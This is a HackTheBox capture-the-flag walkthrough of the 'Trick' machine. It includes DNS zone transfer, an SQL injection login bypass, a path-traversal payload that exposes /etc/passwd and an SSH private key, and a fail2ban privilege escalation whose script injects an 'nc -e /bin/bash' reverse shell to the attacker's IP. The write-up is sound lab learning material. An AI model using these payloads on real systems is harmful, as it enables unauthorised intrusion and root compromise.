HTB Trick Walkthrough

A technical walk through of the HackTheBox TRICK challenge by Andy from Italy.

HTB Trick Walkthrough
Virgily by Senshi Repin

Hello again my friends, welcome to an interesting BOX, which I am very surprised did not lead me as far astray as I expected.

Diving right into the nmap scan:

Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-13 12:17 CEST
Nmap scan report for 10.10.11.166
Host is up (0.041s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Service Info: Host:  debian.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.22 seconds

Three excellent ports (in addition to the 22 of the ssh which, however, as we know, is for the subsequent phases when we have found some good users); a mail server on 25 (postfix, in this case, a standard), a DNS server on 53 (specifically a BLIND 9) and the very common port 80 for web portals.

The portal does not show anything in particular, only an under-construction page with a form in which it is indicated to subscribe to the startbootstrap portal to activate the form.

Apparently, there is nothing obvious, so I try a quick dirb session.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.166 - Trick (lin)]
└─$ dirb http://trick.htb                

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Aug 13 12:46:42 2022
URL_BASE: http://trick.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://trick.htb/ ----
==> DIRECTORY: http://trick.htb/assets/                                                                                                                                         
==> DIRECTORY: http://trick.htb/css/                                                                                                                                            
+ http://trick.htb/index.html (CODE:200|SIZE:5480)                                                                                                                              
==> DIRECTORY: http://trick.htb/js/                                                                                                                                             
                                                                                                                                                                                
---- Entering directory: http://trick.htb/assets/ ----
+ http://trick.htb/assets/favicon.ico (CODE:200|SIZE:23462)                                                                                                                     
==> DIRECTORY: http://trick.htb/assets/img/                                                                                                                                     
                                                                                                                                                                                
---- Entering directory: http://trick.htb/css/ ----
                                                                                                                                                                                
---- Entering directory: http://trick.htb/js/ ----
                                                                                                                                                                                
---- Entering directory: http://trick.htb/assets/img/ ----
                                                                                                                                                                                
-----------------
END_TIME: Sat Aug 13 13:03:05 2022
DOWNLOADED: 23060 - FOUND: 2

But it doesn't seem to highlight anything abnormal. The DNS server inspires me and I start playing around with that a bit. I try to retrieve as much information as possible.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.166 - Trick (lin)]
└─$ dig @10.10.11.166 trick.htb any

; <<>> DiG 9.18.4-2-Debian <<>> @10.10.11.166 trick.htb any
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48341
;; flags: qr aa rd; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 7ca2cd9496fb22c31bcb963d62f778a023bff3ad346b69bc (good)
;; QUESTION SECTION:
;trick.htb.                     IN      ANY

;; ANSWER SECTION:
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1

;; ADDITIONAL SECTION:
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1

;; Query time: 44 msec
;; SERVER: 10.10.11.166#53(10.10.11.166) (TCP)
;; WHEN: Sat Aug 13 12:27:55 CEST 2022
;; MSG SIZE  rcvd: 209

A couple of interesting addresses come out: trick.htb and root.trick.htb. I add them to my hosts' file, but they both return the same portal. I try a reverse lookup on the BOX address.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.166 - Trick (lin)]
└─$ dig @10.10.11.166 -x 10.10.11.166    

; <<>> DiG 9.18.4-2-Debian <<>> @10.10.11.166 -x 10.10.11.166
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2023
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 98cf931f4ef194211cb7c0b862f7dae4426fe674c79c2198 (good)
;; QUESTION SECTION:
;166.11.10.10.in-addr.arpa.     IN      PTR

;; ANSWER SECTION:
166.11.10.10.in-addr.arpa. 604800 IN    PTR     trick.htb.

;; AUTHORITY SECTION:
11.10.10.in-addr.arpa.  604800  IN      NS      trick.htb.

;; ADDITIONAL SECTION:
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1

;; Query time: 64 msec
;; SERVER: 10.10.11.166#53(10.10.11.166) (UDP)
;; WHEN: Sat Aug 13 19:27:10 CEST 2022
;; MSG SIZE  rcvd: 163

Nothing new, not even a CNAME record, let's try to force the hand.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.166 - Trick (lin)]
└─$ dig @10.10.11.166 trick.htb axfr                                                                                                                                         1 ⨯

; <<>> DiG 9.18.4-2-Debian <<>> @10.10.11.166 trick.htb axfr
; (1 server found)
;; global options: +cmd
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 64 msec
;; SERVER: 10.10.11.166#53(10.10.11.166) (TCP)
;; WHEN: Sat Aug 13 22:15:54 CEST 2022
;; XFR size: 6 records (messages 1, bytes 231)

Perfect, a CNAME record finally comes out, let's add the new domain in the hosts' file.

I study the portal a little, which does not seem, even in this case, to highlight anything particularly anomalous. I try a simple SQLi that succeeds on the first try; I use my usual string for both fields (username and password) "'or ''='".

Inside the administration portal, I begin to study the various pages. I find a possible traversal path (this URL http://preprod-payroll.trick.htb/index.php?page=home and this one http://preprod-payroll.trick.htb/index.php?page=./home, return the same page) which, however, I cannot exploit (I also tried with dotdotpwn, but after about an hour of processing nothing came out).

After hours spent looking for other vulnerabilities, I decided to read again the forum. They suggest searching for other subdomains. Even the metasploit framework doesn't detect anything though, so you have to try a brute-force (probably, the subdomain is not registered in the DNS server). I try several dictionaries for hours, but nothing, once again I find myself having to resort to the suggestions of the forum. In some posts, it turns out that the secret is a manipulation of the subdomain and they insert this sort of expression to give a further suggestion: pre***-wordlist.t**.h**.

It seems to be a kind of reference to different environments, such as production, pre-production, testing and more. So I try combinations such as pretest- <BF>.trick.htb, pre<BF>.trick.htb, etc..., but what turns out to be decisive is preprod-<BF>.trick.htb.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.11.166 - Trick (lin)]
└─$ wfuzz -c -w /usr/share/dnsrecon/subdomains-top1mil-20000.txt -u http://trick.htb -H "Host:preprod-FUZZ.trick.htb" --hw 475
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://trick.htb/
Total requests: 20000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                         
=====================================================================

000000254:   200        178 L    631 W      9660 Ch     "marketing"                                                                                                     
000005320:   302        266 L    527 W      9546 Ch     "payroll"                                                                                                       

Total time: 0
Processed Requests: 20000
Filtered Requests: 19998
Requests/sec.: 0

I enter the subdomain found in the hosts' file and start studying the new portal. I find the same vulnerability of the previous portal.

All this url return the same page:

  • http://preprod-marketing.trick.htb/index.php?page=services.html
  • http://preprod-marketing.trick.htb/index.php?page=./services.html
  • http://preprod-marketing.trick.htb/index.php?page=../../../../../../../services.html
  • http://preprod-marketing.trick.htb/index.php?page=/services.html

I activate a new session with the dotdotpwn, but again nothing comes out. Convinced that the manual approach is the best one, I begin to revisit some sites where I have acquired my knowledge about it in the past (but also searching for new ones).

File Inclusion/Path traversal - HackTricks

And finally I found the right combination: http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//....//....//etc/passwd.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:108:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:109:118:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:112:121::/var/lib/saned:/usr/sbin/nologin
colord:x:113:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:114:123::/var/lib/geoclue:/usr/sbin/nologin
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:117:125:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:118:65534::/run/sshd:/usr/sbin/nologin
postfix:x:119:126::/var/spool/postfix:/usr/sbin/nologin
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bash

I save the result and look for users who have access to a shell.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.166 - Trick (lin)/attack/tpath]
└─$ grep -i "bash$" passwd
root:x:0:0:root:/root:/bin/bash
michael:x:1001:1001::/home/michael:/bin/bash

If you exclude the root user, to which we currently don't have access yet, it remains michael. Now that we know the username, we can reach the user flag with the same exploit.

preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//....//....///home/michael/user.txt

1******************************4

And always with the same exploit, we can try to recover something more interesting than the michael's user.

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//....//....//....///home/michael/.ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
c4jtky6wYGzlxKHg/Q5ehozs9TgNWPVKh+j92WdCNPvdzaQqYKxw4Fwd3K7F4JsnZaJk2G
YQ2re/gTrNElMAqURSCVydx/UvGCNT9dwQ4zna4sxIZF4HpwRt1T74wioqIX3EAYCCZcf+
4gAYBhUQTYeJlYpDVfbbRH2yD73x7NcICp5iIYrdS455nARJtPHYkO9eobmyamyNDgAia/
Ukn75SroKGUMdiJHnd+m1jW5mGotQRxkATWMY5qFOiKglnws/jgdxpDV9K3iDTPWXFwtK4
1kC+t4a8sQAAA8hzFJk2cxSZNgAAAAdzc2gtcnNhAAABAQDAj1gsVEpPokVNKo+3b/7uaC
DkelLDMdnC73k2qHUa7j70/6iEu3NziO2TLrBgbOXEoeD9Dl6GjOz1OA1Y9UqH6P3ZZ0I0
+93NpCpgrHDgXB3crsXgmydlomTYZhDat7+BOs0SUwCpRFIJXJ3H9S8YI1P13BDjOdrizE
hkXgenBG3VPvjCKiohfcQBgIJlx/7iABgGFRBNh4mVikNV9ttEfbIPvfHs1wgKnmIhit1L
jnmcBEm08diQ716hubJqbI0OACJr9SSfvlKugoZQx2Iked36bWNbmYai1BHGQBNYxjmoU6
IqCWfCz+OB3GkNX0reINM9ZcXC0rjWQL63hryxAAAAAwEAAQAAAQASAVVNT9Ri/dldDc3C
aUZ9JF9u/cEfX1ntUFcVNUs96WkZn44yWxTAiN0uFf+IBKa3bCuNffp4ulSt2T/mQYlmi/
KwkWcvbR2gTOlpgLZNRE/GgtEd32QfrL+hPGn3CZdujgD+5aP6L9k75t0aBWMR7ru7EYjC
tnYxHsjmGaS9iRLpo79lwmIDHpu2fSdVpphAmsaYtVFPSwf01VlEZvIEWAEY6qv7r455Ge
U+38O714987fRe4+jcfSpCTFB0fQkNArHCKiHRjYFCWVCBWuYkVlGYXLVlUcYVezS+ouM0
fHbE5GMyJf6+/8P06MbAdZ1+5nWRmdtLOFKF1rpHh43BAAAAgQDJ6xWCdmx5DGsHmkhG1V
PH+7+Oono2E7cgBv7GIqpdxRsozETjqzDlMYGnhk9oCG8v8oiXUVlM0e4jUOmnqaCvdDTS
3AZ4FVonhCl5DFVPEz4UdlKgHS0LZoJuz4yq2YEt5DcSixuS+Nr3aFUTl3SxOxD7T4tKXA
fvjlQQh81veQAAAIEA6UE9xt6D4YXwFmjKo+5KQpasJquMVrLcxKyAlNpLNxYN8LzGS0sT
AuNHUSgX/tcNxg1yYHeHTu868/LUTe8l3Sb268YaOnxEbmkPQbBscDerqEAPOvwHD9rrgn
In16n3kMFSFaU2bCkzaLGQ+hoD5QJXeVMt6a/5ztUWQZCJXkcAAACBANNWO6MfEDxYr9DP
JkCbANS5fRVNVi0Lx+BSFyEKs2ThJqvlhnxBs43QxBX0j4BkqFUfuJ/YzySvfVNPtSb0XN
jsj51hLkyTIOBEVxNjDcPWOj5470u21X8qx2F3M4+YGGH+mka7P+VVfvJDZa67XNHzrxi+
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

Honestly, I wasn't hoping for this, to be sure I also restarted the BOX, but the private key was still there, at this point it is there to be used.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.166 - Trick (lin)/attack/tpath]
└─$ ssh michael@10.10.11.166 -i id_rsa
The authenticity of host '10.10.11.166 (10.10.11.166)' can't be established.
ED25519 key fingerprint is SHA256:CUKzxire1i5wxTO1zNuBswEtE0u/RyyjZ+v07fOUuYY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.166' (ED25519) to the list of known hosts.
Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 14 15:19:52 2022 from 10.10.16.6
-bash-5.0$ whoami
michael
-bash-5.0$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart
-bash-5.0$

Of course, it works and apparently, we don't need to go that far to figure out what the next clue is. User michael can run the "/etc/init.d/fail2ban restart" command with administrator privileges.

Let's make a fast analysis to the script.

[...]
	restart|force-reload)
		log_daemon_msg "Restarting $DESC" "$NAME"
		do_stop
		case "$?" in
			0|1)
				do_start
				log_end_msg_wrapper $? 1 "always"
				;;
			*)
				# Failed to stop
				log_end_msg 1
				;;
 		esac
		;;
[...]

The script simply stops the service and then restarts it.

[...]
do_stop()
{
	# Return
	#	0 if daemon has been stopped
	#	1 if daemon was already stopped
	#	2 if daemon could not be stopped
	#	other if a failure occurred
	$DAEMON status > /dev/null 2>&1 || return 1
	$DAEMON stop > /dev/null || return 2

	# now we need actually to wait a bit since it might take time
	# for server to react on client's stop request. Especially
	# important for restart command on slow boxes
	count=1
	while do_status && [ $count -lt 60 ]; do
		sleep 1
		count=$(($count+1))
	done
	[ $count -lt 60 ] || return 3 # failed to stop

	return 0
}
[...]

The do_stop method, which stops the service, does exactly what it was developed for, making sure everything is successful.

[...]
do_start()
{
	# Return
	#	0 if daemon has been started
	#	1 if daemon was already running
	#	2 if daemon could not be started
	do_status && return 1

	if [ -e "$SOCKFILE" ]; then
		log_failure_msg "Socket file $SOCKFILE is present"
		[ "$1" = "force-start" ] \
			&& log_success_msg "Starting anyway as requested" \
			|| return 2
		DAEMON_ARGS="$DAEMON_ARGS -x"
	fi

	# Assure that /var/run/fail2ban exists
	[ -d /var/run/fail2ban ] || mkdir -p /var/run/fail2ban

	if [ "$FAIL2BAN_USER" != "root" ]; then
		# Make the socket directory, IP lists and fail2ban log
		# files writable by fail2ban
		chown "$FAIL2BAN_USER" /var/run/fail2ban
		# Create the logfile if it doesn't exist
		touch /var/log/fail2ban.log
		chown "$FAIL2BAN_USER" /var/log/fail2ban.log
		find /proc/net/xt_recent -name 'fail2ban-*' -exec chown "$FAIL2BAN_USER" {} \;
	fi

	start-stop-daemon --start --quiet --chuid "$FAIL2BAN_USER" --exec $DAEMON -- \
		$DAEMON_ARGS start > /dev/null\
		|| return 2

	return 0
}
[...]

The do_start method obviously restarts the service. The interesting part is in the last command which actually restarts the service, passing some additional args. Let's take a look at the variables used in the code to understand the application flow and more information about the service.

FAIL2BAN_USER=root

NAME=fail2ban
# fail2ban-client is not a daemon itself but starts a daemon and
# loads its with configuration
DAEMON=/usr/bin/$NAME-client
SCRIPTNAME=/etc/init.d/$NAME

The user restarting the service is fixed with the root user, while the daemon appears to be the script /usr/bin/fail2ban-client. Let's take a look at that too.

-bash-5.0$ cat /usr/bin/fail2ban-client
#!/usr/bin/python3
# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: t -*-
# vi: set ft=python sts=4 ts=4 sw=4 noet :

# This file is part of Fail2Ban.
#
# Fail2Ban is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# Fail2Ban is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Fail2Ban; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.

"""
Fail2Ban reads log file that contains password failure report
and bans the corresponding IP addresses using firewall rules.

This tools starts/stops fail2ban server or does client/server communication,
to change/read parameters of the server or jails.

"""

__author__ = "Fail2Ban Developers"
__copyright__ = "Copyright (c) 2004-2008 Cyril Jaquier, 2012-2014 Yaroslav Halchenko, 2014-2016 Serg G. Brester"
__license__ = "GPL"

from fail2ban.client.fail2banclient import exec_command_line, sys

if __name__ == "__main__":
        exec_command_line(sys.argv)

Nothing in particular here, but I'm intrigued by the arguments passed to the daemon which seems to execute them as if they were shell commands. Let's go back to the script and try to understand where they come from and what nature these arguments are.

# Read configuration variable file if it is present
[ -r /etc/default/$NAME ] && . /etc/default/$NAME
DAEMON_ARGS="$FAIL2BAN_OPTS"

Remembering that the $NAME variable contains the fail2ban value, the script seems to check the existence of the configuration file located in the /etc/default/fail2ban position and then executes it. Let's take another look at this file too.

-bash-5.0$ cat /etc/default/fail2ban 
# This file is part of Fail2Ban.
#
# Fail2Ban is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# Fail2Ban is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Fail2Ban; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
#
# Author: Cyril Jaquier
# 
# $Revision$

# Command line options for Fail2Ban. Refer to "fail2ban-client -h" for
# valid options.
FAIL2BAN_OPTS=""

# Run fail2ban as a different user. If not set, fail2ban
# will run as root.
#
# The user is not created automatically.
# The user can be created e.g. with
#    useradd --system --no-create-home --home-dir / --groups adm fail2ban
# Log files are readable by group adm by default. Adding the fail2ban
# user to this group allows it to read the logfiles.
#
# Another manual step that needs to be taken is to allow write access
# for fail2ban user to fail2ban log files. The /etc/init.d/fail2ban
# script will change the ownership when starting fail2ban. Logrotate
# needs to be configured separately, see /etc/logrotate.d/fail2ban.
#
# FAIL2BAN_USER="fail2ban"

It appears to be a scripting file and the only thing it does is initialize the FAIL2BAN variable with an empty value. The first impression is that if I manage to modify this variable with an "interesting" script it will run as root (but I'm not sure). Unfortunately, I don't have permission to edit the file.

-bash-5.0$ ls -la /etc/default/fail2ban 
-rw-r--r-- 1 root root 1531 Apr  4  2018 /etc/default/fail2ban

I am looking for workarounds to change the variable at runtime, but find nothing to apply. Considering that it is still a rather used open source, I try to look for some known exploits on the net... and I find a lot of them, I just have to choose the right one... and I find it!

Privilege Escalation with fail2ban nopasswd
Hello Everyone Today I am going to show you how you can escalate your privileges if you discover misconfigured Fail2ban on the server. So…
-bash-5.0$ find /etc -writable -ls 2>/dev/null
   269281      4 drwxrwx---   2 root     security     4096 Aug 14 16:36 /etc/fail2ban/action.d

We seem to be on the right track. Since we will have little time (surely there are crons that restore the files in place), I prepare a script that does the work for me.

-bash-5.0$ cat hackscript.sh 

echo "waiting"
while [[ ! -f /etc/fail2ban/action.d/iptables-multiport.conf ]]
do
        sleep 0.1
done
mv /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf.bak
cp /etc/fail2ban/action.d/iptables-multiport.conf.bak /etc/fail2ban/action.d/iptables-multiport.conf
sed -i -e "s/actionban = .*/actionban = nc \-e \/bin\/bash 10.10.14.146 4444/g" /etc/fail2ban/action.d/iptables-multiport.conf
chmod 666 /etc/fail2ban/action.d/iptables-multiport.conf

sudo /etc/init.d/fail2ban restart

As indicated in the article, I replace the original iptable_multiport.conf file with one I can edit and replace actionban with a reverse shell, then restart the service. Since the configuration file is not always present, as soon as I launch the script I wait for it to be created or restored.

The next step, as indicated in the article, is to "get banned", so I try to log in via ssh, but with the wrong password.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ ssh michael@10.10.11.166                                                   255 ⨯
michael@10.10.11.166's password: 
Permission denied, please try again.
michael@10.10.11.166's password: 
Permission denied, please try again.
michael@10.10.11.166's password: 
michael@10.10.11.166: Permission denied (publickey,password).

And as if by magic, something arrives on my listener.

┌──(in7rud3r㉿kali-muletto)-[~/temp]
└─$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.146] from trick.htb [10.10.11.166] 43516
whoami
root
cat /root/root.txt
2******************************5

Once again that's all folks, happy hacking everyone and see you at the next BOX.